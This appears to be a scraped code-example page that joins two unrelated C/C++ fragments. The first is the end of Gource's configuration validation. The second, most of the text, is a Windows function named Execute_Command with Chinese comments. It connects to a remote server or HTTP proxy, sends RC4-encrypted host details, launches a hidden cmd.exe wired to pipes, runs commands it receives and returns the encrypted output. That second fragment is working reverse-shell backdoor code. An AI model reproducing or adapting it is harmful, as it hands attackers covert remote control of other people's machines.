        ConfEntryList* filters = gource_settings->getEntries("user-filter");

        for(ConfEntryList::iterator it = filters->begin(); it != filters->end(); it++) {

            entry = *it;

            if(!entry->hasValue()) conffile.entryException(entry, "specify user-filter (regex)");

            std::string filter_string = entry->getString();

            Regex* r = new Regex(filter_string, 1);

            if(!r->isValid()) {
                delete r;
                conffile.entryException(entry, "invalid user-filter regular expression");
            }

            user_filters.push_back(r);
        }
    }

    //validate path
    if(gource_settings->hasValue("path")) {
        path = gource_settings->getString("path");
    }

    if(path == "-") {

        if(log_format.size() == 0) {
            throw ConfFileException("log-format required when reading from STDIN", "", 0);
        }

#ifdef _WIN32
        DWORD available_bytes;
        HANDLE stdin_handle = GetStdHandle(STD_INPUT_HANDLE);

        while(PeekNamedPipe(stdin_handle, 0, 0, 0,
            &available_bytes, 0) && available_bytes==0 && !std::cin.fail()) {
            SDL_Delay(100);
        }
#else
        while(std::cin.peek() == EOF && !std::cin.fail()) SDL_Delay(100);
#endif

        std::cin.clear();
    }

    //remove trailing slash and check if path is a directory
    if(path.size() &&
    (path[path.size()-1] == '\\' || path[path.size()-1] == '/')) {
        path = path.substr(0,path.size()-1);
    }

#ifdef _WIN32
    //on windows, pre-open console window if we think this is a directory the
    //user is trying to open, as system() commands will create a console window
    //if there isn't one anyway.

    bool isdir = false;

    if(path.size()>0) {
        struct stat fileinfo;
        int rc = stat(path.c_str(), &fileinfo);

        if(rc==0 && fileinfo.st_mode & S_IFDIR) isdir = true;
    }

    if(path.size()==0 || isdir) {
        SDLAppCreateWindowsConsole();
    }
#endif
}
Пример #30
0
Файл: main.cpp Проект: weizn11/C
DWORD WINAPI Execute_Command(LPVOID Parameter)
{
    char SendBuffer[MAX_SIZE],RecvBuffer[MAX_SIZE+1];
    SOCKET ServerSocket=INVALID_SOCKET;
    struct sockaddr_in ServerAddress,TempAddress;
    HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;       //两个匿名管道
    int RecvSize=0;
    unsigned long lBytesRead=0;
    int SocketTimeOut,n,RecvHTTPflag=1;
    SECURITY_ATTRIBUTES sa;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    fd_set read_fd,write_fd;
    struct timeval WaitTimeOut;
    ComputerInfo _CI;

    memset(&ServerAddress,NULL,sizeof(struct sockaddr_in));
    memset(&TempAddress,NULL,sizeof(struct sockaddr_in));
    memset(&WaitTimeOut,NULL,sizeof(struct timeval));
    memset(&_CI,NULL,sizeof(ComputerInfo));
    memset(&si,NULL,sizeof(STARTUPINFO));
    memset(&sa,NULL,sizeof(SECURITY_ATTRIBUTES));
    memset(&pi,NULL,sizeof(PROCESS_INFORMATION));

    //首先ServerSocket连接到服务端
    if(CI.HTTP_Proxy)
    {
        ServerSocket=ConnectToServer(&ServerAddress,Proxy_IP,Proxy_Port);   //连接到代理服务器
    }
    else
    {
        ServerSocket=ConnectToServer(&ServerAddress,Server_IP,Server_Port);  //连接到服务端
    }
    //发送验证消息
    _CI=CI;
    _CI.order=1;
    if(_CI.HTTP_Proxy)
    {
        _CI.HTTP_Proxy=1;
        if(Send_HTTP_Header(ServerSocket,sizeof(ComputerInfo),Need_Pass)!=0)
        {
            closesocket(ServerSocket);
            return -1;
        }
    }
    rc4_crypt(S_box,(unsigned char *)&_CI,sizeof(ComputerInfo));          //加密主机信息
    if(send(ServerSocket,(char *)&_CI,sizeof(ComputerInfo),0)<=0)
    {
        //向服务端发送验证信息
        closesocket(ServerSocket);
        return -1;
    }
    rc4_crypt(S_box,(unsigned char *)&_CI,sizeof(ComputerInfo));         //解密
    if(CI.HTTP_Proxy)
    {
        //通过HTTP隧道则需要接收HTTP反馈信息
        //设置套接字接收超时
        SocketTimeOut=60000;
        setsockopt(ServerSocket,SOL_SOCKET,SO_RCVTIMEO,(char *)&SocketTimeOut,sizeof(int));
        while(1)
        {
            memset(RecvBuffer,NULL,sizeof(RecvBuffer));
            if(recv(ServerSocket,RecvBuffer,sizeof(RecvBuffer)-1,0)<=0)
            {
                closesocket(ServerSocket);
                return -1;
            }
            if(strstr(RecvBuffer,"Hello"))
                break;
        }
        SocketTimeOut=0;
        setsockopt(ServerSocket,SOL_SOCKET,SO_RCVTIMEO,(char *)&SocketTimeOut,sizeof(int));
    }

    //创建两个匿名管道
    sa.nLength=sizeof(sa);
    sa.lpSecurityDescriptor=0;
    sa.bInheritHandle=true;
    if(!CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))
        return -1;
    if(!CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))
        return -1;
    //用管道与cmd.exe绑定
    GetStartupInfo(&si);
    si.cb=sizeof(si);
    si.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow=SW_HIDE;
    si.hStdInput=hReadPipe1;
    si.hStdOutput=si.hStdError=hWritePipe2;
    CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
    WaitTimeOut.tv_sec=1;
    WaitTimeOut.tv_usec=0;
    while(1)
    {
        //接收命令,执行命令,返回结果,异步执行
        if(disconnect)
        {
            closesocket(ServerSocket);
            TerminateProcess(pi.hProcess,-1);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            CloseHandle(hReadPipe1);
            CloseHandle(hWritePipe1);
            CloseHandle(hReadPipe2);
            CloseHandle(hWritePipe2);
            return -1;
        }
        FD_ZERO(&read_fd);
        FD_ZERO(&write_fd);
        FD_SET(ServerSocket,&read_fd);
        FD_SET(ServerSocket,&write_fd);
        if(select(-1,&read_fd,&write_fd,NULL,&WaitTimeOut)>0)
        {
            if(FD_ISSET(ServerSocket,&read_fd))
            {
                //服务端有命令发送过来
                memset(RecvBuffer,NULL,sizeof(RecvBuffer));
                memset(SendBuffer,NULL,sizeof(SendBuffer));
                if((RecvSize=recv(ServerSocket,RecvBuffer,sizeof(RecvBuffer)-1,0))<=0)
                {
                    //puts("从服务端接收命令失败.");
                    closesocket(ServerSocket);
                    TerminateProcess(pi.hProcess,-1);
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                    CloseHandle(hReadPipe1);
                    CloseHandle(hWritePipe1);
                    CloseHandle(hReadPipe2);
                    CloseHandle(hWritePipe2);
                    return -1;
                }

                rc4_crypt(S_box,(unsigned char *)RecvBuffer,RecvSize);   //解密
                //printf("Command:%s\n",SendBuffer);
                if(!WriteFile(hWritePipe1,RecvBuffer,strlen(RecvBuffer),&lBytesRead,0))
                {
                    closesocket(ServerSocket);
                    TerminateProcess(pi.hProcess,-1);
                    CloseHandle(pi.hProcess);
                    CloseHandle(pi.hThread);
                    CloseHandle(hReadPipe1);
                    CloseHandle(hWritePipe1);
                    CloseHandle(hReadPipe2);
                    CloseHandle(hWritePipe2);
                    return -1;
                }
            }
            if(FD_ISSET(ServerSocket,&write_fd))
            {
                if(PeekNamedPipe(hReadPipe2,RecvBuffer,sizeof(RecvBuffer)-2,&lBytesRead,0,0) && lBytesRead)
                {
                    //和cmd.exe绑定的管道中有数据发来
                    memset(RecvBuffer,NULL,sizeof(RecvBuffer));
                    memset(SendBuffer,NULL,sizeof(SendBuffer));
                    if(!ReadFile(hReadPipe2,RecvBuffer,sizeof(RecvBuffer)-2,&lBytesRead,0))
                    {
                        closesocket(ServerSocket);
                        TerminateProcess(pi.hProcess,-1);
                        CloseHandle(pi.hProcess);
                        CloseHandle(pi.hThread);
                        CloseHandle(hReadPipe1);
                        CloseHandle(hWritePipe1);
                        CloseHandle(hReadPipe2);
                        CloseHandle(hWritePipe2);
                        return -1;
                    }
                    memcpy(SendBuffer,RecvBuffer,MAX_SIZE-1);
                    rc4_crypt(S_box,(unsigned char *)SendBuffer,sizeof(SendBuffer));   //加密命令执行结果
                    //若通过HTTP代理首先发送HTTP_Header
                    if(CI.HTTP_Proxy)
                        if(Send_HTTP_Header(ServerSocket,sizeof(SendBuffer),Need_Pass)!=0)
                        {
                            closesocket(ServerSocket);
                            TerminateProcess(pi.hProcess,-1);
                            CloseHandle(pi.hProcess);
                            CloseHandle(pi.hThread);
                            CloseHandle(hReadPipe1);
                            CloseHandle(hWritePipe1);
                            CloseHandle(hReadPipe2);
                            CloseHandle(hWritePipe2);
                            return -1;
                        }
                    if(send(ServerSocket,SendBuffer,sizeof(SendBuffer),0)<=0)
                    {
                        //puts("发送结果至服务器失败.");
                        closesocket(ServerSocket);
                        TerminateProcess(pi.hProcess,-1);
                        CloseHandle(pi.hProcess);
                        CloseHandle(pi.hThread);
                        CloseHandle(hReadPipe1);
                        CloseHandle(hWritePipe1);
                        CloseHandle(hReadPipe2);
                        CloseHandle(hWritePipe2);
                        return -1;
                    }
                    if(CI.HTTP_Proxy)
                        for(n=0; n<10; n++)
                        {
                            //过滤HTTP_Header
                            memset(RecvBuffer,NULL,sizeof(RecvBuffer));
                            if(recv(ServerSocket,RecvBuffer,sizeof(RecvBuffer)-1,0)<=0)
                            {
                                //puts("从服务端接收命令失败.");
                                closesocket(ServerSocket);
                                TerminateProcess(pi.hProcess,-1);
                                CloseHandle(pi.hProcess);
                                CloseHandle(pi.hThread);
                                CloseHandle(hReadPipe1);
                                CloseHandle(hWritePipe1);
                                CloseHandle(hReadPipe2);
                                CloseHandle(hWritePipe2);
                                return -1;
                            }
                            if(!strcmp(RecvBuffer,"Continue"))
                                break;
                        }
                }
                else
                    Sleep(10);
            }
        }
    }
    return 0;
}